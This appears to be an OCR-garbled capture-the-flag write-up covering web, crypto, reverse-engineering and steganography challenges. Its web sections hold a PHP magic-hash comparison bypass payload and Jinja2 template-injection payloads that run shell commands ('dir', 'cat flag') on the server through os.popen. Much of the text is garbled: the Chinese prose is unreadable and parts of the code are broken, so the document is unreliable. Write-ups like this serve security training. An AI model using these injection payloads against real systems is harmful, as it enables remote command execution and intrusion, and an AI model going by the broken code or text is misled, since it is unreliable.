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highlight file(_ FILE_);

$_GET[ 1;
$_GET[ 15
$_GET[ 1;
$check $a and $b;
if($check){
if($a and $b){
die(
}
else{
if($c md5($c)){
die(getenv(

phpflid®H it, EEBHE == KT, WAERABATEESRY $c == md5($c) » BUKFITHRE, EETLIHMAR I
%,

0e291242476940776845150308577824 == 0215962017

payload:

?source=a&a=1&c=0e215962017
web?2

BEHAT —AMRANE, BIERRpythonfISSTIH . FIfHpython B & $ileak R AKIR, KRIE S Nostitk. R)53E L HoskH
EERBEEFEZR, Hfag.

FIH 3%

{{config. class__. init . globals_ ['os'].popen('dir').read()}}

iEflag

{{config. class__. init . globals_ ['os'].popen('cat flag').read()}}

web3

WK . nodejsBlH , HLIELEHUE A SR B B IR, 4RI — ELRITR th R IRAG R 46 2.
Crypto

bbuh

BT —ANAE, ABERUbasedwiy, WEFEGERE B ER. F%E5E base32 -> base64 -> url decode -> hex to
ascii, RARMEEHBIR. fEEHA.



import base64

import binascii

base64.b32decode(a)

base64.b64decode(b.decode())

[ ( (i, 16)) for i in c.split( )[1:]1]
.join(d)

e[2:]

rint(binascii.a2b_hex(f))

rsat LY, AREHA:

import libnum

from Crypto.Util.number import long_to_bytes

e 65537

C 138722104762718976032857543651302886170525056001602716592141625658383767408264093262113709786172260615555996
8245677538119256956386692383862347086451111821341524649332172875419790192281592099848116282940387397514540861099
5097520994819749574339677738827382034968633591951669741169304662409576970312846920221151668802612329521115853147
0647815841245920170011729185862667469966554776861242160654743541992847193786005787832285852281200524417632476356
8676368827699969908165211213183480353808406459335333595223820489454079648671365813341102117033272092657041876885
98700074911726675767052882649582734149920164476354819772572

n 152930324523673501531654880190405917746819474618068462113941102532056422634734090367044305017886744882008512
8227898472591791275935231460907668010646514692798718589717537891665473115143595032019525552249429158398853602929
6991596619423707257925682257185042246028065776839633921182038513220548394723908052221984662464436997205150633282
3059270293925250995407084957805712498824896959739636329711833827770423563475510640669056962762857317882723036835
1138548297778263745022742145120191829381076733304482744001065695458415753724529446374470691189088130391695782354
6888317663596809518986423759580164973515874335313890183844107

y 247692304124525245667211985038807577149526498494620587227372131956797094691024123744042981854305983726197861
6026321068395350183106839334986436766098105898759185864178663868690647680903387010128905597187531730493833234965
02184441436691424048763065870187602889642817121344647370355274568061468019226498216956532

phi n -y 1

d libnum.invmod(e, phi)
m (c, d, n)
print(long_to _bytes(m))

Reverse

rel

B#EAmain, ZHEME, FRESE, RGBT
B 545E535549500702020B04030A1F515756011F065705061F500757071F030B050A0701020407570A054F
a

b [ ( (a[i:i+2], 16) 0x32) for i in
print("".join(b))




ETLSKRIFR, idam feLin Jumpout , BEEBLFHEREO (ghidraBRIER) . FTEZBERRITE, HERHIN2KE
BIBEE, THEHRGRILE R, BEA EMBIEAIEE. B ERREsE RSSO — AR, XE4015B0 LT
BB, XS SRR .

Misc
misc1

LSBRRE, AdtaE=@EHFFZRBG, MZBGR. BITREMTTE, java -jar .\stegsolve.jar . TEBGRHFFHILSB
TEIFPKLAfag.txt, BMUEZE, £ save binfRiFRkflag.zip, fEEEIH,
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